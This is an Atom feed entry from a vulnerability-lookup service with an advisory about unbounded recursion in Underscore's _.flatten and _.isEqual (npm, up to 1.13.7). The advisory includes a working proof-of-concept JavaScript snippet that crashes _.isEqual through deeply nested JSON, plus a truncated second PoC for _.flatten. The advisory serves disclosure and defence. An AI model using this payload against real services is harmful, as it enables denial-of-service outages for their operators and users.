<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T22:36:51.870413+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-qpx9-hpmf-5gmw</id>
    <title>GHSA-qpx9-hpmf-5gmw — Underscore has unlimited recursion in _.flatten and _.isEqual, potential for DoS attack</title>
    <updated>2026-09-29T22:36:51.872078+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: underscore</p>
<p>### Impact</p>
<p>In simple words, some programs that use `_.flatten` or `_.isEqual` could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.</p>
<p>In affected versions of Underscore, the `_.flatten` and `_.isEqual` functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.</p>
<p>A proof of concept (PoC) for this type of attack with `_.isEqual`:</p>
<p>```js
const _ = require('underscore');</p>
<p>// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i &lt; 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i &lt; 4500; i++) json += '}';</p>
<p>// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);</p>
<p>_.isEqual(a, b); // RangeError: Maximum call stack size exceeded
```</p>
<p>A proof of concept (PoC) for this type of attack with `_.flatten`:</p>
<p>```js
const _ = require('underscore');</p>
<p>// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i &lt; 4500; i++) nested…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-qpx9-hpmf-5gmw"/>
  </entry>
</feed>
